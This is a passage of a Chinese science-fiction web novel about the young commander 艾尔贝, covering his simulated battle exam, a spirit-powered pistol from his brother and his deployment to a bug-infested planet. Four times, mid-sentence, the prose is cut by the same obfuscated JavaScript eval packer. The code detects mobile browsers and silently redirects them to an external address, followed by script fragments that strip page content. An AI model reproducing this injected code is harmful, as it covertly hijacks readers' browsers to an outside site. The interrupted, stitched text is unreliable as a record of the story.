这是一股充满恶意的精神力磁场,很混乱,似乎是融合了什么异样的东西,虽然艾尔贝无法察觉出来到底是什么,但能保证来者不善。 听到他的话后队长与身后的那些队员对视了一眼,不知道该怎么办。 为了行动方便,小队的人数不多,且随身携带武器的也才仅仅只有五个人,如果要与这些虫子进行正面交锋的话是绝对不可能制胜的。 艾尔贝当然也意识到了这一点,他长舒一口气,打算另辟蹊径:“兵分两路。” “由我来指挥,你们一队去吸引火力,另一队带着电池趁机进入继续行动。” “什么!”队长全力压抑住惊慌失措的声音,他小声质问道:“同时与两队进行共感指挥,这个决策太疯狂了……不,就算您真的有这个能力,也不应该消耗大量的精神力在这样一个小小的星球!还是换个……” “服从命令。” 这次声音同时在了队长与手持武器的副队长两个人的脑海中响起,这一刻他们仿佛亲眼看见了那位面相尚且稚嫩的指挥官,看着他一字一句下达指挥: “作为合格的行动小组队员,你们唯一所需要做的就是——” “服,从,命,令。” 6. 第五章 同时连接两个高阶士兵的精神网对于第一次尝试去控制活体生命的艾尔贝来说还是有些困难的,与他先前在训练室控制操纵沙盘进行练习时的感受全然不同。 原本充盈的精神力开始像沙漏一般高速消耗起来,艾尔贝额头上甚至已经开始渗出细汗,但即便如此他的指挥依然有条不紊地继续着: “副队长现在带领持枪小组从前方的管道口进入,在确保能引走所有的敌人后再撤离。” 接收到精神网传来的命令副队长抬起头,直视着不远处的漆黑洞口,手中的光源投射到那里后都找不到落脚点,随后持续向内延伸。 他打了个手势示意作战小组跟上,在即将进入时握紧了手中的枪,在脑海中问道: “指挥官大人,我们的退路是什么?” “是你们的来路。” 艾尔贝毫不犹豫地回答:“这间舱室只有前后两道路可以走,除去你们即将面对的前方,能引走敌人的路只剩下后方的管道。” “请副队长记住自己的任务。” 这番话同时也被屏幕外正在同步观看测试的人听见,有人咂舌:“这个副队长想问的应该是另一层意思吧?如果按照艾尔贝的方案走,那这里的人估计一个都活不了。” 站在说话人身边的同学听见后翻了个白眼:“连你都知道的话,难道成绩更好的艾尔贝会不清楚?” “不过,我记得人员伤亡数量也是和考核评价挂钩吧。” 底下那群挑战失败的人也都开始纷纷议论起来: “可他这样做就是完全不把人命当回事。” “都说了是数据了……不过我在想。” 他看着屏幕里那些看似鲜活的“npc”,若有所思:“说不定事情的发展和我们预想的都不一样呢。” …… …… 一向比较健谈的科伦多在此刻却异常地沉默,他低下头看着手上显示正在通讯中的智脑,缓缓开口询问:“艾德里安,你怎么看?” “老师” 艾德里安的声音响起时还伴随着一些嘈杂的背景音:“我相信艾尔贝会是一个有大局观的指挥官,他会表现的很好。” 他说话时所处的会议室现在正吵的不可开交,征服派与和平派的两位代表唾沫横飞,站起来所说的每一句话都近得仿佛是在贴着对面的脸一般: 征服派的代表冷笑道:“所有的聪明人都能看得出来只有我们的决策才是正确的。” 和平派的代表立刻反驳这荒唐的言论:“如今广大的民众都选择了我们,你的话根本就毫无根据。” …… 整整两个小时过去了这两位代表还没有吵出什么结果,每句话除了在指责对方就是在指责别人。 剩下其他组织的代表在会议上却又没有什么发言权,可光是从表情上就能看出来他们都很不胜其烦。 研究院代表带过来的助理小声在后面跟艾德里安的助理吐槽:“每次都是这样,还是指挥官大人靠谱,进来到现在都没有参与过争吵,你平时跟着他处理事情一定很省心吧。” 艾德里安的助理听见他的话后默默扫了眼正专心盯着屏幕观看他弟弟演练直播的上司,想了想最终还是选择保持沉默。 艾尔贝浑然不觉自己的表现已经在考场外引发大量的瞩目与讨论,他现在正控制着队长的精神网盯着前方的管道,没有放过任何风吹草动。 半刻钟前他指挥着副队长去探索到虫族的具体位置,成功后便迅速切断了联通的精神网。 他想以此来保证精神力的集中,也能及时引领携带电池的主队伍去抓住这短暂的时机争分夺秒地继续接下来的行动。 为此艾尔贝还让副队带走了所有的光源,以便在切断指挥后他们也能做好撤离行动。 可这个看似简单办法有利也有弊,这样虽然能提高前锋队的容错,但也意味着在剩下队员的视野里整个场景现在都是一片漆黑,他们每个人除了能感受到身旁队友的行动外就什么都看不清了。 接下来他们的所有行动都只能依靠队长的口令来进行,而现在万众瞩目的队长则需要精准且及时地听从艾尔贝的所有指令。 “太冒险了。” 队长的身上不停地冒着冷汗,“在我们事先没有任何连接训练的情况下就要做到几乎等同于同手同脚地反应,我的表现或许很难取得你想要的效果。” 艾尔贝也在思考,他理解队长的意思,可连接双人精神网这种对于新手而言几乎是倾泻式消耗精神力的行为已经导致他陷入了一种困境当中,现在他必须再想出一个更加保险更加省力的办法。 忽然他想起从前查理斯教他的一种指挥方式: 共感。 “这种操作只适用于你的精神力等级远高于你想夺舍的人的时候,艾尔贝。” 查理斯站在书桌旁抽出他手中翻开的书,这本书的封面上写着《精神控制》。 上面教的都是一些如何用精神力去影响他人思想的办法。 查理斯见他这么好奇就说要在他面前演示一遍:这位神情严肃的管家放下书,闭上眼睛,然后……就没了下文。 小艾尔贝等了半天也没等到什么异常的反应,他很不理解,觉得查理斯是在逗他,于是又噌噌两下爬上了书桌,伸出手一把抓下查理斯鼻梁上的单片眼镜,想以此逼他动起来快点停止这场闹剧。 就在他用手指戳查理斯眼皮的时候,一只马蜂突然从打开的窗户那里飞了进来,它仿佛是带着自己的目的,就围着艾尔贝不停地转圈。 艾尔贝被它吓了一跳,随后赶紧跳到地板上开始躲避,但这只马蜂却如同开了灵智一般居然躲掉了他所有的攻击,并保持着一个恰当的距离稳稳跟在他身后。 直到艾尔贝实在没有力气反抗了,他跑到一直站着不动的查理斯身后藏起来,希望马蜂能先蛰面前的这个人肉护盾。 这时马蜂却突然飞到他的眼前与他对视,随后他的脑海里就响起了熟悉的声音: “艾尔贝不用怕,是我。” “查理斯!!!” 事后查理斯不仅答应了要教会他这招,还给他做了好几盘蜂蜜松饼来赔罪艾尔贝才原谅了他。 回想一遍确认自己还记得那个招数,艾尔贝告诉队长:“如果你信任我的话,现在请将你的一切思绪都放空,然后闭上眼睛。” 不知为何,明明是第一次与这位年轻的指挥官共事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074181|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可队长就是莫名从心底就滋生起一股臣服的态度,他听着指挥一一照做,随后一阵莫名的力量从他的大脑中出现并开始如水流般逐渐流动至全身。 成功了。 “你再睁开眼。” 随着这具身体慢慢睁开眼睛,艾尔贝的眼前也变成了一片黑暗,他才发现这座漆黑的舱室现在静得甚至能听见副队长的呼吸声。 副队长感受着内部奇特的变化,指挥官的声音仿佛是在贴着他的耳朵般的清晰。 很快管道中一道微弱的灯光如期亮起,紧接着这道光芒越来越强烈,作战组的那些士兵快速冲出管道,身后紧紧跟着一群体型庞大的虫子。 “是鬼面蛛!” 这个类型的虫子通体漆黑,眼睛透着诡异的蓝色,若不是主动出击就很难会被察觉到行踪,它们会用蛛丝将自己吊在管道上空,因为有着出众的夜视能力往往都会出现在最隐蔽的暗处,若没有特殊的检测手段或是强烈的光源一般人凭借肉眼根本就看不见 “现在,走。” 听见艾尔贝的指令后队长迅速带领留下的士兵抓住时机就向前冲,好在鬼面蛛有一个众所周知的弱点:它们的视力在近处非常的敏捷,可稍微远一点的地方就几乎什么都看不清。 队伍小心翼翼地绕过最尾端的那只鬼面蛛,钻进了通向能源舱室的管道。 他们刚走过一小段的路程后就有人看见了不远处有个凹陷正闪烁着微弱的光,他们在场的人都很清楚那就是能源电槽。 “太好了,现在只要把电池放上去就大功告成了,我们快……啊!!” “什么东西?!” 队长听见身后的惨叫立刻回头,艾尔贝透过他的眼睛,看见队伍末端的那个人正被一只潜伏在管道中的鬼面蛛用蛛丝困住,无法挣脱。 他立刻拿出匕首想过去将蛛丝斩断,却被艾尔贝制止:“鬼面蛛的蛛丝很难处理,想救出他时间不够,现在先去安放电池!” 此时那位队员已经被鬼面蛛咬住了手臂,鲜血喷涌而出,有两名队员已经冲上去和那只鬼面蛛搏斗起来,可在这种环境下显然还是处于下风。 队长试图改变艾尔贝的想法,他还是想先去救那个小伙子:“只有一只……” “作战小组拖不了太久,很快剩下的鬼面蛛就回来了,到时候等待你们所有人的就只有和他一样的下场。” “所以,现在,走。” “是。” 看见队伍里其他人都凑过去帮忙,队长服从艾尔贝的指挥放弃了让他们跟随,按照指挥的路线一个人抱着电池向前探索,他踩着舱体墙上的凹陷处,一步一步爬上中心柱,终于在最高点他摸到了那个能源槽,毫不犹豫将电池放了上去。 这一刻整个区域都闪烁起红色的灯光,警报声响起,海水从上层涌进来填满了整个舱室,艾尔贝与队长仍然保持着共感,这一刻他感受到了无尽窒息与痛苦。 …… …… 「检测到任务圆满完成,开始载入评级: 人员伤亡指数:0 资源消耗:低」 「启动登出模式,」 「恭喜选手艾尔贝,此次评级得到s级的评分!」 7.第六章 沉闷的窒息过后,全息舱外的空气涌进来取代了原本内部塑造出的模拟世界坏境,昭示着艾尔贝已经结束考验回归现实。 “哈哈哈,我就知道你可以做到!” 科伦多大笑着走到他的身边,拍拍他的后背以示鼓励道。手掌上传来厚重的力度给刚刚才走出全息舱状态还没有完全恢复过来的艾尔贝打了个跟呛。 看着底下站着的一排同学,科伦多咳嗽了两声后随即宣布:“恭喜艾尔贝成了你们之中唯一一个通过仿真战场训练的学员,凭此次优秀的表现与评分在指挥系实习生中排名第一。” “每年的各专业第一都将会被分配于第一志愿队,组成正式的队伍同真正的军人一起奔赴前线作战!” 奔赴前线? 所有人在听见他这句话后都露出了不可思议的表情,在场的各位除了科伦多实战经验几乎都为零,对于理论学习远大于实践学习指挥系学生来说,实习期就是让他们去先适应军队生活的,他们往往参与的要么是后勤管理要么就是一些安全系数较高的小型战线,像是前线这样的重大战场,他们就算是真的成功毕业,估计也得要再沉淀个好几年才能去参战。 现在已经有人在实习期刚出校门就上战火纷飞的战场了吗? 想到这他们又纷纷向艾尔贝投去同情的眼神,不过这位即将加入第一志愿队的天才指挥官对于这个结果似乎很不在意,从指挥舱出来后他就是这样一幅低迷的样子,无论是科伦多的夸赞还是任务的分配都表现得波澜不惊。 虽然科伦多老师就在他的身边讲个不停,眼前的同学也时不时投来异样的眼光,但这些对艾尔贝来说都好像早已编排好的戏剧一般,并不值得他再去做出什么惊讶或是惊喜的表情。 况且他也没有那个心情,刚刚在模拟战场的一系列冒险举动消耗了他太多精神力,现在只能感觉到身体传递过来的透支警告,如果可以的话艾尔贝想一出舱就回去好好休息。 而不是像现在这样,旁观科伦多与同学这一场为彰显出通过考核的他有多么优秀所以刻意安排的一出表演。 下课铃声打断了科伦多的长篇大论,昭示着即使考试结束后却依旧冗长的测验课终于结束了。 因为艾尔贝不是住宿生所以没有自己的寝室,他打算先去卡修斯的单人寝把自己暂时存放的东西拿回来。 碰巧卡修斯那边的测验与实习分配也结束了,艾尔贝敲门时他正坐在书桌前的椅子上,认真翻阅着艾尔贝的同班同学录下来发到校园论坛上,一个关于艾尔贝是如何成功通关地狱难度测试还拿到高评级充满高光的视频。 直到听见了敲门声他才结束了这个视频多达14遍的重复放映。 一打开门就见到视频中来回观看的那张脸出现在自己眼前,又注意到艾尔贝现在这幅精神萎靡的样子,卡修斯眸色暗了暗,装作不经意地问: “刚做完透支精神力的指挥行动现在很累吧,怎么不好好回去休息先跑我这儿来了?” 艾尔贝一进来就走到里面的书架前开始翻找起来,很快就在中间的一层找到了哥哥前一天晚上送给自己的那个盒子,直到卡修斯重复问了一遍自己累不累他才反应过来旁边还有一个人。 艾尔贝抱着盒子来到书桌前,平静地回复道:“累倒是没怎么感觉,只是觉得身体里有很多力量被抽走了,或许短期内没法再做一些依靠精神力的举动。” 卡修斯察觉到他现在就想打开盒子的意图,随后递给他一把剪刀,艾尔贝接下后仔细剪断了上面系紧的丝带,又用手剥开了外面包裹着的一层外衣,随后打开盒盖揭开这个神秘礼物的真面目: 一把精致的银白色小手枪,枪身上浮雕着白色小苍兰花的纹样,末端衔接几片晶莹的薄翅,比较特别的就是原本应该装载子弹的弹仓被做成了透明的能源条,也意味与传统的手枪不同,这是一把依靠精神力来凝聚子弹的非能源型枪支。 一般需要装上子弹才能发射的手枪都有一种弊端,那就是携带的弹药用完后在无法及时补给的战场上只有作废的境地,为了克服这个弊端研究所便研究出了一类新型枪支——非能源型枪支。 这类枪支不消耗物质资源,而仅仅依靠使用者的精神力等级,越充盈代表弹药越多,越强大代表威力越大,但鉴于大多数人的精神力都难以到达可以驱动它的水平,所以这类枪支一直到现在都不怎么普及,只在一些高级军官间流通。 艾尔贝经常抽时间去研究一些处于前沿的新式武器,出于兴趣他还学习并掌握了机甲的作战方式,即使对于指挥系来说用途可能不大。 艾尔贝兴奋地观察着眼前这把一看就价值不菲的手枪,他握住枪柄感受这沉甸甸的手感。 “我真想现在就试试它的威力。” 可惜这个愿望估计是达不成了,首先是他刚刚测试完现在精神海太过空虚,无法发挥出这把枪真正的实力,其次便是学校里有规定:不得在课堂外的地方使用具有一定杀伤力的危害性武器。 卡修斯不忍心让他失望,提议道:“如果你对自己现在的精神力有信心的话,可以试着朝我开一枪,我会接下不让它造成太大的动静,顺便测试一下我的防御能力过不过关。” “你又在开什么玩笑?” “我没在开玩笑。” 艾尔贝觉得很匪夷所思,但卡修斯这个样子似乎真的是在很认真地回答。 …… 两人僵持不下,艾尔贝实在不肯接纳他的建议,卡修斯只好又给自己找了个台阶,他把自己刚才看的帖子展示给艾尔贝:“我没想到我们实习期间也能在一起合作。” 艾尔贝大致看了一眼帖子上面的内容,听见卡修斯的话偏过头去看着他:“你也是你们系实习生积分排名最高的吗?” “对。” 作战系的测验比起指挥系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092513|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可谓是简单粗暴的多,一次擂台赛和一个机甲战事,通过两次比赛的排名结果来总结每个人获得多少积分,卡修斯凭借一向强大的战斗力轻松获得两场比赛的冠军,成为名副其实的第一名。 “既然如此你也好好休息一下吧,毕竟明天一早我们就要出发了。”艾尔贝取回艾德里安送给他的礼物后就打算先离开学校回家准备了,这次的实习场地可是货真价实的战场,仅仅是对可能会遭遇敌人的种类他也得提前预习一下,免得会在战场上无法应对突发危机。 好在卡修斯还与他在一个队伍里,这让艾尔贝感到些许轻松,他看着卡修斯连续打了两场比赛拿了双第一,回来还这么悠然自得的样子有些羡慕。 但他也清楚卡修斯的实战经验比自己丰富,所以这种程度的战斗消耗并不算什么,艾尔贝觉得这次实习也许会是一个很好的机会。 今天课堂上的一次实战演练就差点透支他的精神力,倘若真正要成为一名指挥官,依靠精神力作战可比像现在这样每天专注于学习一些理论要重要的多。 所以他需要这种亲身体验,好让他知道自己有哪里不足,那些地方需要加强练习。 “我相信你会保护好我的。” “是吗,卡修斯?” 看着艾尔贝跃跃欲试的神情,卡修斯就知道这次的前线作战应该不会平静,但他依旧很淡定也很认真地向艾尔贝承诺:“当然,谁也不能伤害你……” 查理斯拿着艾尔贝嘱托他在艾德里安书房里寻找的《精神力枪械使用指南》走到前院时,艾尔贝正在握紧他的新武器对着院子中心那棵高大的樟树展开练习。 一阵小风吹过,几片叶子从茂密的树冠脱落,晃晃悠悠地顺着风向悬在半空中,艾尔贝紧紧地盯着其中的一片,随后屏气凝神,足够凝制出一发子弹精神力迅速填充弹夹。 砰! 刚刚还在空中飞舞的樟树叶被击中,瞬间四分五裂,变成碎片散落在底下的花丛中。 这次从瞄准到发射只用了0.64秒,比起第一次的7秒来说进步了太多。 短短几小时内艾尔贝就熟练掌握了这把小手枪的使用方式,但主要还是一些最基础的使用形式,速度比起普通的枪械或许要快一些,可是威力却还远远比不上物理子弹,所以艾尔贝又请查理斯在书房寻找一些有关如何提升精神力枪支威力的教学书。 “谢谢查理斯,辛苦了。” 艾尔贝见他来了随即停下持续了六个小时的练习,回到家后他才仅仅休息了不到一个小时,便又开启连续不断的练习。 “时间不多了,我需要快速掌握这项技能才行。” 查理斯看着艾尔贝认真看书的样子,表示能理解,但他还是想安慰一下艾尔贝:“或许不必这么紧张,这次你的实习上司,很有可能就是你的哥哥哦。” “有他在旁边看着的话,敌人能不能靠近你都难说。” 8.第七章 人们熟知的军部往往并不作为一个庞大的整体而出现,而是由许多个大型军团组织而成。 但在统一的规则系统中,不管是作战,指挥,还是后勤都会有一名固定的军职人员主理,因此处于上层的官兵数量并不少,但真正坐到顶尖位置的也就那么几个人,一只手就能数的过来,他们分别负责这几种职务。 顶层的几位将军各自统领着自己的军团,军部代表往往也是从他们之间投票选出的,比如当前的总指挥官艾德里安凭借出彩的战绩已经连续当选三届军部代表一职了。 “这届的第一志愿队被分配到艾德里安大人麾下的军团,你们将辅助他们去往前线,帮助现在正在遭遇虫灾的摩多利星夺回星球的控制权。” 科伦多将小队带领到艾德里安所处的盖亚军团后任务终于算是圆满完成,于是他转身看着身后的这些学生露出了一个很慈祥的笑容:“接下来的一切就要靠你们自己了。” 走之前他还特地看了一眼艾尔贝:“比起其他系来说,以往的指挥系实习生都没有在这一块做出过什么好成绩,但我相信你会打破这个尴尬的局面。” “加油,艾尔贝。” 嘭—— 一艘巨大的军舰带领他们一整个队伍的人开启航行,这艘军舰的舰长是一名二级指挥官,整个军部除了艾德里安是唯一一名一级指挥官外就没有比他们这一层等级更高的了,因此他有幸获得了一整艘军舰的管理权。 “这次的情况比较特殊,摩多利星现在的局面不断恶化,我们需要争分夺秒地前去支援,所以这次只好省略带你们熟悉基地的这个过程了。” 这位指挥官带着歉意地向他们解释,他清了清嗓子:“咳咳。” “那接下来我就直接在军舰上给你们讲述主要的注意事项。” “艾德里安大人现在正在摩多利星上等待你们前往,本次大战不只有你们一个志愿兵团,来自其他学院以及某些私人组织同时也组建了几个志愿小组前来实习,如果你们需要得到最高等级的荣誉勋章的话,那么你们的功勋就需要在所有的支援兵团中排名第一,知道了吗?” 艾尔贝以及他的其他的队友点点头,表示理解。 来自军部的星舰行驶速度很快,透过窗艾尔贝已经能看见摩多利星最明显的标志——列卡博安大峡谷了,这条大地的裂缝几乎贯穿了整个星球,也正是因为这个原因,纵深的峡谷给予虫族十分有利的隐匿栖息地,才让这次的虫灾变得比以往更加棘手。 “落地后你们将会被分到各自的队伍,到时候安排有队长来带领你们,他们将负责每个人整个作战期间的所有活动安排。” 志愿小队里有人不理解这位指挥官的意思,他举手询问道:“我们不能作为一个小队共同作战吗?” “当然不能。” 指挥官否定他的问题,随后给出解释:“看来你们还不熟知军部的作战体系,既然在课堂上老师没有教过你们,现在就由我来给你们详细说明。” “负责同一个战场的军团也会被划分成几个部门,分别是:作战系,侦查系,指挥系,后勤部,治疗系。除了指挥系是固定的分配外,其余的每个系的士兵都会作为一个整体被安排在一起,同兵种的组建成小队再听从上级指令出发作战。” 艾尔贝听明白他的意思,这样一来说是团战功勋,到头来还要是看每个人的努力,只有自己在队伍中表现得足够出彩,最后才能为小队总体的评估尽到一份力。 怪不得学校只是选取了每一个系的第一名,而不是举办一个团队比赛选择第一名的小队。 因为根本就不考验他们内部的协战能力,所以不需要磨合也能派过来直接参战。 很快飞艇穿越了大气层降落在安扎在大平原上的反抗军总部,他们走出舱门,映入眼帘的第一人便是身穿象征最高指挥官身份白色徽金制服的艾德里安。 在他的身后是各个小队的队长,在见到艾尔贝这一行人出现时统一行了个脱帽礼。 艾德里安则是稳稳当当地站在最前面,面对着他们说:“接下来会有事先安排好的队长来接应你们,至于艾尔贝……” 他低下头注视着站在小队最前面,身穿与自己相似白色制服的弟弟,心想估计又是查理斯的杰作,那位恶趣味的管家总是喜欢把艾尔贝打扮得很精致,给艾尔贝准备带有黑色挂脖项圈的里衣丝毫不考虑艾尔贝是来打仗的。 不过……他牵起弟弟戴着黑色手套的手,心想这样的艾尔贝在一众只看中实用性却丝毫不考虑美观的士兵对比下的确格外的可爱。 “你将作为我的指挥副手,跟随我进行作战。” 艾尔贝被艾德里安牵着手一起前往军团给实习指挥安排的住所。 “我本来以为你会把我安排到随便一个比较安全的边缘小队。” 艾尔贝很了解艾德里安,自从小时候那场霸凌事件后他就变得比养父母还要在乎艾尔贝的安全问题。 昨天查理斯告诉他可能会是艾德里安负责这次的前线战争后艾尔贝就担心会出现这种情况, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092514|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾德里安参与进来的话,自己要么被好好地保护起来什么都不用做,最后再走个关系拿到哥哥亲自颁发的荣誉证书,要么就是会一上来就坐到很高的位置,艾德里安走到哪他都要跟到哪去捡一些特地分给自己,很容易就到手的功勋。 “你不应该插手这件事的。” 艾尔贝微微有些抱怨,一路上偶尔还有些回访的军人惊讶地盯着他们兄弟两看,弄的艾尔贝有些不自在,他试图抽出自己被哥哥紧紧握住的手。 “这样会被别人说闲话的。” “好了艾尔贝,不用再试图说服我。” 他们到了艾德里安亲自为他提前装点过的单人独立宿舍后,艾尔贝简单地扫视一圈这里的环境: 全屋的智能家具被安排到方方面面,考虑到弟弟平时用习惯了的吃穿用度,艾德里安还特地叫人送来了一套非常柔软的被子与床单,巨大的荧幕被安置在床铺对面的一整面墙上,方便他能在休息时间随时与艾尔贝进行视频交流。 单看这里的装修如果不说是在军事基地,不明情况的外人见了说不定还会以为是什么五星级酒店。 艾尔贝当然也清楚艾德里安的这些小巧思,他深深地叹了口气:“艾德里安!我可以和他们一起住四人宿舍,可不可以不要总是把我当作小孩看!” 可惜艾德里安把他的抗议仅仅看做是一只小猫在龇牙,根本就不放在心上。 “我没有把你当做小孩,哥哥知道你的能力很强,但那只是作为指挥官来说,也从来没有不让你上战场的意思。可是脱下战袍你就是我的弟弟,给你安排这些优待也不是觉得你吃不了苦,只是觉得没有那个必要,如果是那些个富家公子有一个总指挥官家属,说不定住得比这里还有夸张的多。” “好了,艾尔贝。”艾德里安摸了摸他银白色的发丝,“好好休息吧,明天我们就要上战场了。” “希望在这里你能睡得安稳,当然,睡不着可以来找我,哥哥也很愿意再次和你在一块睡觉,就像我一直很怀念的小时候那样。” 走之前艾德里安还顺手拿走了艾尔贝换下来的脏外套准备回去亲自帮他洗干净:“明天会有人来给你送这里统一的制服,还有什么缺的吗,我叫人一起送过来。” 他磨磨蹭蹭不肯走的样子换来艾尔贝亲自走过来狠狠推上门的举动,站在门口还能听见里面传来弟弟的声音:“已经什么都不缺了,快走吧!” 艾德里安轻笑了一声,他甚至能想象到艾尔贝说话时把脸埋在枕头里气鼓鼓的样子。 9.第八章 天弦星系内部一刻也不停的宇宙膨胀活动推动着各大星球不断远离,原本就处在恒星圈舒适带边缘的摩多利星在不久前主动飘离出温暖圈。 至此整个星球迎来了可怖的低温狂潮。 在暴风雪即将淹没陆地时,星球的领导者卡布森联合起各大地区汇集所有的能源想要给摩多利星装上发动机,推动它重回温暖圈。 但没想到在这样危急的情况下虫族会选择突然对摩多利星发起进攻,曾经人们引以为豪,风景秀丽的列卡博安大峡谷藏匿起密集的虫巢,遮天蔽日的高大树木为它们提供天然的庇护所。 森林不是人类擅长的战场,再加上现在还是特殊时期,住宅区供暖设备要在短时间产出相较于以往来说严重超标的热量,能源逐渐缺乏,军队战斗力大幅下降。 卡布森见状最终还是选择向帝国总部传讯,想要申请联邦与军部的支援。 「早上好,这里是卡布森市事务局,当前室外温度低至零下28摄氏度,预测未来将有一场暴风雪降临本市,请各位居民近日减少不必要的外出,做好防寒保暖工作。」 厚重的乌云密布在城市上空,自从摩多利星轨道偏离后这里的人们就再也没有迎回晴天。 “戴上这个毛毡帽,我给你缝了一对小翅膀在上面,是不是很可爱?当然,不要忘记把这双手套也带上……” “查理斯,你要不要给我一个解释。” 艾尔贝看着面前这位明明在前不久刚刚同他挥手告别,现在又乘坐私人飞船不远万里再次来到他身边,手上还大包小包拎着一堆艾尔贝在家里用惯了的生活用品的管家先生。 “毕竟是我们家的小少爷第一次出远门,我这个做家长的不放心难道不是很正常?” “咳咳。” 身后的艾德里安咳嗽两声,示意他这个正牌家长还在这里。 查理斯上前准备为他戴上围巾,手刚伸出去就被艾尔贝一巴掌拍开:“够了查理斯!” “我要前往的地方可是战场,穿这么多我还怎么和虫族对战?都快给我包成一个球了!” 对比起浑身被白色绒毛包裹住的艾尔贝,穿着黑色毛呢大衣的查理斯行动倒是轻便。 室外漫天肆虐的暴雪落在每个人的身上,他伸出手,食指微微弯起,隔着手套柔软的布料蹭了蹭艾尔贝被冻的通红的鼻尖。 “原谅我艾尔贝,我想你的哥哥也能体谅我的所有行为。” 或许我的一生都将围着你打转。 一颗颗被使用过的弹壳随意掉在雪地上,原本平坦的雪面被各种脚印以及零碎的血肉破坏原貌,但暴雪很快又再次淹没这些污染物,将它恢复成最初自然雕琢而成的样子。 战斗力比较高的虫族都有一个共同点:类人。 从外表上看越接近真正的人类的虫子,往往越凶狠,这是他们在与虫族进行经年累月的战争中总结出的规律。 眼前这只巨大的蝶形怪物就像是人类长出了一对翅膀,但它的四肢过于纤长,主体又太过瘦小,从视觉上看比真正的人类要怪异许多。 艾克与它缠斗了将近有两个小时,但能做到的也仅仅是砍断它的左肢。 这番举动不仅没有什么杀伤力反倒还激怒了它,巨大的黑色蝶翼收拢起来将艾克死死地包住,距离迅速拉近,眼见蝶形锋利的牙齿即将落在他的脖颈上,艾克拼尽全力抬起刺刀抵住它进一步攻击。 因为张开的双翼被翻到前方,它的后背则失去保护,露出了全身上下唯一的弱点,一把镰刀飞过来精准地刺穿两翅之间那狭小的缝隙,刀尖至此直接穿过蝴蝶的心脏。 原本禁锢艾克的翅膀慢慢脱力,见它彻底失去生命体征后卡修斯慢悠悠地走过来拔出镰刀,鲜血在一刻喷涌而出,一部分洒在艾克的侧脸上,吓得他赶紧用手想擦干净这些肮脏的液体:“啧,恶心的虫子。” “谢谢了,卡修斯。对了,你那边解决的怎么样?” 纷乱的大雪天气覆盖了列卡博安大峡谷附近的这一整片区域,空气能见度大幅降低,再加上暴风如同海岸线上的潮水般时不时就会涌现发生,子弹的轨迹在这里会发生很大的偏离,所以他们只能选择采取近战为主的方式。 艾克与卡修斯分别作为作战部前锋一队的队长与副队长,在小队成员绝大多数都是使用远程枪械作战的情况下,他们便负责在此次任务中解决主要的敌人,一直战斗在最前线。 “清理干净了。” 艾克早就习惯了这位总是带着厚重面具同伴简洁的合作方式,他们两定的战术就是各打各的互不干扰,在双方战斗力都比较高的情况下确实会省时省力很多。 “好吧,一开始还不理解,但现在我有点羡慕你有这个面罩了。” 明明两个人都是才经历过一场恶战,他看着卡修斯依旧整洁干净的外表,又看了看自己作战服上的各种血污,一摸脸上还有结块的血渍,甚至部分因为干涸太久都已经开始散发出恶臭味了。 艾克叹了口气,自己都有点嫌弃自己。 “本来没有洁癖现在也有了。” 他不得不感慨卡修斯的先见之明。 队伍里有先见之明的不只卡修斯一个人,在回去的路途中艾克假装不经意一直侧目偷看走在他们队伍中间的那个指挥官。 先锋一队的队员基本上都是一些能力出众的天之骄子,往往各自都保留着自己的矜持,彼此之间很少会有社交上的交流,这让无论在任何场合都比较聒噪艾克有些难以忍受。 他主动凑到自认为关系比较好的战友旁边,指着艾尔贝小声对卡修斯蛐蛐道:“看到没,他比你还夸张。” “上个战场还把自己裹成这个样子,这都相处快一天了我都还不知道他长什么样子。就算和你一样是洁癖也用不着这么夸张吧,用的还都是这种毛茸茸的保暖小配件,不知道的说不定还以为是谁家的小宝宝出门玩雪呢!” 还真不能怪他用这种在旁人看来比较阴阳怪气的比喻,毕竟对他那在语言方面十分贫瘠的词汇量来说,这已经算是比较贴切的形容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137012|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 